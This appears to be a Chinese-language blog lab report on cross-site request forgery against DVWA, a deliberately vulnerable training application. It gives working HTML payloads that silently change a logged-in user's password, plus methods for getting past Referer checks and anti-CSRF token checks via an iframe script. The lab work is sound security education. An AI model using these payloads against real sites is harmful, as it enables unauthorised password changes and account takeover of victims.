CSRF漏洞实验报告

实验环境:DVWA、Apache

实验原理

CSRF漏洞是因为web应用程序在用户进行敏感操作时,如修改账号密码、添加账号、转账等,没有校验表单token或者http请求头中的referer值,从而导致恶意攻击者利用普通用户的身份(cookie)完成攻击行为

实验内容

实验一:修改密码(低级别DVWA)

1.构造一个网址:http://192.168.1.101/1.html

html代码如下:

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Title</title>
</head>
<body>
<img hidden src="http://localhost/DVWA-master/vulnerabilities/csrf/?password_new=666&password_conf=666&Change=Change#" alt="">
</script>
</body>
</html>

2.当用户点击该网址时,DVWA密码就会被改成“666”,以下是登录成功界面

实验二:漏洞防御绕过

方法1:Referer验证防御绕过(中级别DVWA)

Referer是用来验证发起的请求的网页中是否是从本地localhost页面发起的,所以要想绕过可在网址中修改文件名为localhost

1.构造网址:http://192.168.1.101/localhost.html

localhost.html代码如下:

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Title</title>
</head>
<body>
<img hidden src="http://localhost/DVWA-master/vulnerabilities/csrf/?password_new=888&password_conf=888&Change=Change#" alt="">
</script>
</body>
</html>

2.当用户点击该网址时,就会将密码改为“888”。以下为登陆成功界面

方法二:Token验证防御绕过(高级别DVWA)

Token验证是指每次访问服务器,服务器会生成一个随机token令牌,在请求时需要将token令牌发送给服务器进行验证

1.用iframe标签将DVWA引入到html文件中,并获取token值,拼接到请求里,html代码如下:

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Title</title>
</head>
<body>
<iframe name="if1" src="http://localhost/DVWA-master/vulnerabilities/csrf/"></iframe>
<script>
    window.onload=function () {
        //获取if1中引入界面的内容
        var user_token_input=window.frames["if1"].document.getElementsByName("user_token")[0];
        //alert(user_token_input.value)
        document.body.innerHTML += '<img src="http://localhost/DVWA-master/vulnerabilities/csrf/?password_new=456&password_conf=456&Change=Change&user_token='+user_token_input.value+'">'
    }
</script>

2.用户点击时,可将密码改为“456”,以下为登陆成功界面

方法三:验证码验证,此方法最为有效

发布了52 篇原创文章 · 获赞 21 · 访问量 3120

猜你喜欢

转载自blog.csdn.net/cxrpty/article/details/104503082